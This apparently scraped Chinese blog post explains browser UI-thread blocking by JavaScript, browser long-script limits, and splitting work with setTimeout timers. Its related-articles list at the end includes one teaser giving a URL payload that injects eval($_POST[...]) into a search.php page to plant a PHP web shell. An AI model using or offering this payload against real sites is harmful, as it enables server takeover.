想象一下,如果用户在页面上触发一个点击事件,结果反应延迟比较明显,这将是一个令人沮丧的事情。而造成这个问题的原因就是响应延迟。

浏览器UI 线程

  大家都知道浏览器的UI线程,大多数浏览器都是一个独立的进程来处理任务。而这个进程被两个任务共享即JavaScript执行任务和UI更新任务,也就是说任何时刻,这两个任务只有一个可以执行。这样就造成JavaScript在执行的时候,用户界面会被“锁定”,不能响应任何操作。所以控制JavaScript的运行时间很重要。

  浏览器中,每个JavaScript任务和UI更新任务都会被加入到一个队列中,UI线程会按顺序执行队列中的任务。看下面的实例

上面代码中给button注册了一个click事件,当按钮被点击时会产生两个任务第一个是button外观的改变(button被按下,这是一个UI更新任务),第二个是执行handerClick函数(JavaScript任务),下面是执行的过程

  上面可以看出当按钮被点击后,队列中的任务状态,和UI进程的执行过程。

  浏览器限制

  浏览器对采取了限制,这样可以防止恶意的JavaScript程序无限占用UI进程。这就是常说的长时间脚本限制,其实就是一个脚本定时器。浏览器会设置一个限制,当执行时间达到这个限制,浏览器会终止它。可能会显示一下对话框。

  有两种方法测量程序运行的时间,第一种是统计总的JavaScript语句,第二种是统计脚本运行的总时间。Internet Explorer,在第4 版中,设置默认限制为5 百万条语句,Firefox 默认限制为10 秒钟,此限制存放在浏览器的配置设置中(在地址栏中输入about:config)键名为dom.max_script_run_time,Safari 默认限制为5 秒钟,此设置不能改变,但你可以关闭此定时,Chrome 没有独立的长运行脚本限制,替代以依赖它的通用崩溃检测系统来处理此类实例。

  多久才算“太久”? 

  如果整整几秒钟对JavaScript 运行来说太长了,那么什么是适当的时间?事实证明,即使一秒钟对脚本运行来说也太长了。一个单一的JavaScript 操作应当使用的总时间(最大)是100 毫秒。这个数字根据RobertMiller 在1968 年的研究。

  更复杂的是有些浏览器在JavaScript 运行时不将UI 更新放入队列。例如,如果你在某些JavaScript 代码运行时点击按钮,浏览器可能不会将重绘按钮按下的UI 更新任务放入队列,也不会放入由这个按钮启动的JavaScript 任务。其结果是一个无响应的UI,表现为“挂起”或“冻结”。

  用定时器让出时间片

 尽管你尽了最大努力,还是有一些JavaScript 任务因为复杂性原因不能在100 毫秒或更少时间内完成。这种情况下,理想方法是让出对UI 线程的控制,使UI 更新可以进行。让出控制意味着停止JavaScript 运行,给UI 线程机会进行更新,然后再继续运行JavaScript。于是JavaScript 定时器进入了我们的视野。

  定时器与UI 线程交互的方式有助于分解长运行脚本成为较短的片断。调用setTimeout()或setInterval()告诉JavaScript 引擎等待一定时间然后将JavaScript 任务添加到UI 列中。例如:

  function greeting(){
    alert("Hello world!");
  }
  setTimeout(greeting, 250);

  此代码将在250 毫秒之后,向UI 队列插入一个JavaScript 任务运行greeting()函数。在那个点之前,所有其他UI 更新和JavaScript 任务都在运行。请记住,第二个参数指出什么时候应当将任务添加到UI 队列之中,并不是说那时代码将被执行。这个任务必须等到队列中的其他任务都执行之后才能被执行

  定时器精度

  JavaScript 定时器延时往往不准确,快慢大约几毫秒。仅仅因为你指定定时器延时250 毫秒,并不意味任务将在调用setTimeout()之精确的250 毫秒后加入队列。所有浏览器试图尽可能准确,但通常会发生几毫秒滑移,或快或慢。正因为这个原因,定时器不可用于测量实际时间。

  在Windows 系统上定时器分辨率为15 毫秒,也就是说一个值为15 的定时器延时将根据最后一次系统时间刷新而转换为0 或者15。设置定时器延时小于15 将在Internet Explorer 中导致浏览器锁定,所以最小值建议为25 毫秒(实际时间是15 或30)以确保至少15 毫秒延迟。

Web响应的提高的更多相关文章

  1. web响应式图片设计实现

    .header { cursor: pointer } p { margin: 3px 6px } th { background: lightblue; width: 20% } table { t ...

  2. “教你如何玩转Web响应式布局” 的更多相关文章

    “教你如何玩转Web响应式布局” 的更多相关文章 网址:http://www.360doc.com/relevant/641896074_more.shtml

  3. 将Web应用性能提高十倍的10条建议

    导读 提高 web 应用的性能从来没有比现在更重要过.网络经济的比重一直在增长:全球经济超过 5% 的价值是在因特网上产生的(数据参见下面的资料).这个时刻在线的超连接世界意味着用户对其的期望值也处于 ...

  4. 将 Web 应用性能提高十倍的10条建议

    提高 web 应用的性能从来没有比现在更重要过.网络经济的比重一直在增长:全球经济超过 5% 的价值是在因特网上产生的(数据参见下面的资料).这个时刻在线的超连接世界意味着用户对其的期望值也处于历史上 ...

  5. web开发快速提高工作效率的一些资源

    前端学习资源实在是又多又广,在这样的一个知识的海洋里,我们像一块海绵一样吸收,想要快速提高效率,平时的总结不可缺少,以下总结了一些,排版自我感觉良好,推送出来,后续持续跟新中...... 开发工具 H ...

  6. 移动Web - 响应式布局开篇

    用到的工具: FireFox浏览器 Sublime Text 2 响应式布局定义: 2010年,Ethan Marcotte提出,可查看原文: 通俗地讲就是:百份比布局,根据不同设备显示不同布局: 这 ...

  7. web响应式之bootstrap的基础用法。

    1/首先必须在head里面引用视窗viewport,以保证之后可以响应式分布 <!--meta:vp 响应式布局--> <meta name="viewport" ...

  8. 不用媒体查询做web响应式设计-遁地龙卷风

    (0)写在前面 讲述知乎上看到的一篇文章中的一个案例,让我脑洞大开,佩服至极,特意第二天找到原文赞赏了 5元,原文地址https://zhuanlan.zhihu.com/p/27258076,案例用 ...

  9. WEB响应布局

    [15/06月,15] em是相对长度单位.相对于当前对象内文本的字体尺寸.如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸.(引自CSS2.0手册) 任意浏览器的默认字体高都是1 ...

随机推荐

  1. JS window对象 Location对象 location用于获取或设置窗体的URL,并且可以用于解析URL。 语法: location.[属性|方法]

    Location对象 location用于获取或设置窗体的URL,并且可以用于解析URL. 语法: location.[属性|方法] location对象属性图示: location 对象属性: lo ...

  2. windows API 第22篇 WTSGetActiveConsoleSessionId

    函数原型:DWORD WTSGetActiveConsoleSessionId (VOID)先看一下原文介绍: The WTSGetActiveConsoleSessionId function re ...

  3. 【LeetCode】贪心

    [452] Minimum Number of Arrows to Burst Balloons [Medium] 给一堆线段,使用最少的arrow,穿过所有的线段.陈题,第一条线段的终点. Inpu ...

  4. Centos7搭建SkyWalking分布式追踪,以mysql为存储

    Skywalking专门为微服务架构和云原生架构系统而设计并且支持分布式链路追踪的APM系统,即应用性能监控系统,为微服务架构和云原生架构系统设计.它通过探针自动收集所需的指标,并进行分布式追踪.通过 ...

  5. ORM与JPA规范

    一.ORM框架 1.ORM简单介绍 对象关系映射,(Object Relational Mapping,简称ORM),是通过使用描述对象和数据库之间的映射的元数据,将面向对象语言程序中的对象自动持久化 ...

  6. PHP构建一句话木马

    构建一句话木马,密码为simple: url/search.php?searchtype=5&tid=&area=eval($_POST[simple]) 之后使用菜刀进行链接,密码为 ...

  7. Windows NtQueryInformationProcess()

    { https://www.orcode.com/article/Processes_20126324.html } { 或代码 文章 编程通用 线程,进程及IPC 与NtQueryInformati ...

  8. 【Flutter学习】基本组件之图片组件Image

    一,概述 Image(图片组件)是显示图像的组件,一个显示图片的widget,支持图像格式:JPEG,PNG,GIF,动画GIF,WebP,动画WebP,BMP和WBMP. Image组件有多种构造函 ...

  9. 学习android文档

    follow lesson, 一. 创建一helloworld,运行.fragment_main.xml里默认是relativeLayout和Textview 二. 创建第一个图形界面,主要是说fra ...

  10. Java-Class-C:com.github.pagehelper.PageInfo

    ylbtech-Java-Class-C:com.github.pagehelper.PageInfo 1.返回顶部   2.返回顶部 1.1. import com.github.pagehelpe ...